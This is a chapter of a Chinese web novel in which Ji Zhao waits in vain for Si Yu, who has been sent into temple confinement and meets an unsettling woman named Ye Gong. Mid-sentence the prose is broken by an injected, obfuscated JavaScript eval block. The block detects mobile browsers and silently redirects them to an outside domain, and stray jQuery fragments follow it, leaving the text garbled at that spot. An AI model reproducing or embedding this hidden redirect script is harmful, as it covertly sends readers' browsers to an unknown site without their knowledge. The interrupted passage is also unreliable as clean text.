18. 不告而别
作品:《妻主总是过分心软》 季朝天蒙蒙亮就起了,十指受伤不方便,他就靠在镜子边慢慢的两只手夹着梳子通头发。将布巾浸湿了擦干净脸,涂了点淡淡的脂粉。
等终于收拾好,天光也大亮了。季朝就静静坐在窗沿下,抚摸着司玉昨夜留下的烛台。
怎么还不来?
什么时候来?
根本不能想,一想到嘴角就忍不住翘起来。他自己都觉得好笑,怎么是这么一幅不值钱的样子。她胆子不像寻常女郎那样大胆,别又给吓跑了。
日头慢慢升高了。有人敲院门进来……是茯苓,提着食盒。身后跟着个须发皆白的医师。
季朝看着她带人行完礼:“二娘呢?”
茯苓将食盒歇在一旁:“二娘去了大兴安寺禁闭,一时半会回不来……请表公子好好养伤。”
“她今天不能来了?”
“二娘一早就坐上马车,连行李都来不及收,今天肯定是回不来了。”茯苓偷眼看季朝,他带着面纱看不清脸。但茯苓还是诡异地感到一丝压迫,一句问他换药的话犹豫再三才问出口。
季朝却摇了摇头。
“麻烦大夫把药放下就好,我自己来。”
医师犹疑地看向茯苓,季朝的声线冷了几分:“二位还有事吗?”
院落很快恢复了往日的寂静。季朝仍坐在窗边,等到饭菜凉了都未曾动过。到了晚间,一个小男仆端着食盒进来。看见季朝坐在敞开的窗边,忍不住嘱咐:“表公子,尽管被女侯君惩戒了,但是也要顾惜身体才行。身体坏了,等二娘子回来一定会心疼的。”
季朝像尊木雕似的坐在那,闻言缓缓回头看他:“你怎么知道二娘会心疼?”
小男仆不好意思的揉揉后脑勺:“二娘今早被女侯叫去后直接被押去大慈安寺禁闭,走之前盯着府门看了好一会。送二娘上马车的陈大娘是我祖母,她让我好生照顾你呢。”
小男仆恍惚看见季朝的眼睛亮了亮:“是二娘嘱咐的?”
小男仆有些不忍辜负他的期待,挠了挠头:“应该是的……”
季朝:“我托你向二娘带个话,送成了给你银子……”谁料那小男仆脑袋摇的像拨浪鼓:“可别了,女侯说了,谁要是通风报信,让她发现了要打断腿!表公子,二娘六月二十六自然就回来了。你还是好好养伤吧。”
季朝眼睁睁看着他的背影从院子里跑了出去。脸上欣喜的表情还怔忪着。等到反应过来这院子里又是他一个人了,他缓缓攥紧了十指,丝毫不顾新痂绷开透出的血迹。
“……该死的,李佑。”
月光明晃晃洒下来,与此同时,司玉也气喘吁吁的整理好了自己的住处,许久不自己整理屋子,做完全套家务还怪有成就感的。
“笃笃笃。”
厢房门被敲响了,司玉点上支蜡烛,捧着烛光过去开了道门缝。
“打扰了,是我。你……收拾好了吗?”
烛光朦胧,眼前的女子眉眼温柔破碎,尽管身形较一般女子而言高大几分,也忍不住让人心生怜惜之情。细软的青丝全然垂着,风一吹便十分缱绻的笼着她的脸庞脖颈。饶是同为女子的司玉看见,也忍不住愣了一刹。
“司玉?”
那女子又出声提醒,下一瞬便顺着门缝将司玉手中的蜡烛接过:“陪我去打趟水吧,天色黑了,我一个人害怕。”
司玉这才反应过来,愣愣点了点头:“好的。你等我拿水桶。”那女子似是被她的愣神取悦到,一边看她收拾,一边笑着举起蜡烛为她照明。
这女子是司玉今天上山刚认识的,司玉猜她也是京城中犯了事的世家女子,被送到这里避风头的。女子称自己名叫叶宫,同司玉一见面就挽起了手,寺里的僧人们看到,乐得省力,索性就让叶宫带着她熟悉了整座庙宇。
叶宫生了一副好相貌,又是女子。司玉直觉自己找了个古代的好闺蜜,虽然被关禁闭,心里却安心多了。
司玉找到木桶,又拿了个小茶碟递给叶宫。叶宫奇怪的看着她,司玉恍然,将木桶放在地上,接过蜡烛往茶碟中央滴了几滴蜡泪,随后将蜡烛粘在上面,再将茶碟递给她:“给你,这样举着就不会烫手啦。”
叶宫端着茶碟颇为欣悦:“还是你聪明,司玉。”
叶宫长得好看,做事却有点缺心眼。司玉看着她迷上那小茶碟蜡烛就忘了脚边的木桶,索性自己将她的木桶也拎了起来:“叶宫别玩啦,快带路吧。”
叶宫闻言开走,还是紧盯着那蜡烛不放。司玉都好奇的看了看那蜡烛,疑心这是什么稀有的宝藏。在叶宫又因为盯着蜡烛差点摔倒,司玉简直觉得自己像带了个孩子,她忍了忍,没忍住:“叶宫,这蜡烛有什么好看的?”
叶宫似乎没听见司玉话中的火气,转头淡淡看她一眼,又将眼神转回蜡烛上:“就是好看啊。”
司玉有些生气,但还是道:“你抓着我手肘吧,别再不小心摔倒了。”
叶宫继续端着烛火,漫不经心答应了一声。
司玉没脾气了。心里暗道幸好她就住几天,原先想着和面前这人做闺蜜的心也冷了。两人往寺中水井方向去,一路上硬是走平地都走的跌跌撞撞的。
等装好了水,司玉提着自己那桶水都费劲,水井边上立了个扁担,她将两桶水系在扁担上,更是直不起腰来。
一旁的叶宫还是盯着茶碟蜡烛目不转睛。司玉看着黑漆漆的夜色,熟悉的无助感又涌上心头。
“叶宫,咱们去求师傅们帮忙吧。”
叶宫疑惑的扭头看她:“帮什么忙?”
司玉擦着额头上的汗,指了指地上两桶装满的水:“拜托她们帮我们把水抬回去。”
实在是太弱了,想当年她可是一个人能往返八楼搬家!太养尊处优对身体真的不好,司玉暗暗下定决心,要好好锻炼才行。
地上的影子晃了晃,司玉不可思议地看着叶宫将扁担挑了起来。
司玉:“你……你腰不痛吗?”
长得那么漂亮就算了,力气怎么也这么大啊!
叶宫这时候才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442377|184453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将目光从烛火上移开,也许是她一时花了眼,司玉总觉得她看自己那一眼有什么深意。
叶宫摇了摇头:“很轻啊。天色黑,你抓着我手肘,小心摔倒了。”
司玉脸红了一瞬。烛火仍在叶宫手中,司玉想接过来减轻她的负担,却被拒绝了。灯火幽微,司玉看着叶宫的眼神还是直直盯着烛火,担心那两桶水,主动揽住了叶宫的胳膊。
就在她揽上去的那一瞬间,叶宫的眼神鬼魅似的,很快的从烛火上拔开,看了一眼她。
那双黑瞳仁太深邃,司玉惊得将手放开了。
叶宫盯着烛火笑:“没事的,害怕就抓住我好啦。”
此情此景,司玉觉得很适合给她上辈子读过的一本书做封皮。那本书的名字叫《鬼吹灯》。
司玉浑身打了个冷噤。四周静谧,连鸟语也稀疏。司玉不敢再碰叶宫,忽然觉得手臂痒痒的,司玉用力甩了甩胳膊,叶宫疑惑的看向她。司玉这才发现是叶宫的头发顺风飘到了她的小臂上。
鸡皮疙瘩起来了,司玉一路沉默的跟着叶宫行走。遥遥看到厢房门口,烛火也不要水桶也不要,司玉猛地溜进去就关紧了房门。
不久,叶宫惊疑不定的声音在门外响起:“司玉?司玉?你怎么了?”
司玉在黑暗里睁大了眼睛,不敢吭声。
叶宫:“你别吓我,是门外有什么东西吗?司玉我害怕,你开开门。”声音到后半段疑有泣音。
也许是到了安全的环境,这时候叶宫的声音听起来没那么吓人了。司玉缓了缓自己惊跳的心脏,扬声道:“我没事,天黑了你先回去吧。”
叶宫听见她回复,有些赌气似的又敲了敲门:“你打的水也不要了?”
司玉摇摇头,意识到叶宫听不见便高声道:“不要了!”
叶宫:“你的蜡烛和茶碟也不要了?”
司玉摇摇头:“不要了!”
叶宫一脚踹上了司玉的门,“咚”的一声,寂静的夜里很是响亮。
“司玉你知道了是不是?我就知道那厮骗我……你们都是一丘之貉!躲在屋子里算怎么回事,出来说清楚!”
司玉不敢回话。她经历过魂穿这么玄学的事,门外的那个她真不敢断定是人还是鬼,就一支小蜡烛有什么好看的?而且她们白天逛大慈安寺的时候,很少见到寺里的师傅们。而且叶宫又长那么漂亮,现在回想起来,说不定真是被精怪缠上了。
门外声音渐渐弱了下去。司玉也没有点灯,不知有多久,依偎在床边就睡了。
“咚咚咚……”
司玉在黑暗中惊惧的睁开眼,谁?
“司二娘?司二娘?”
不待她反应,门外传来两声问询。很快的,钥匙开锁的声音响起来。
司玉还在没完全醒来的茫然里,眼泪先淌了下来,完了,她要被妖怪吃掉了。
门一开,黑洞洞的夜里迎面朝她扑过来一个女鬼。司玉吓得四肢僵直,下一瞬却反应过来,抱住自己的这副躯体是温热的。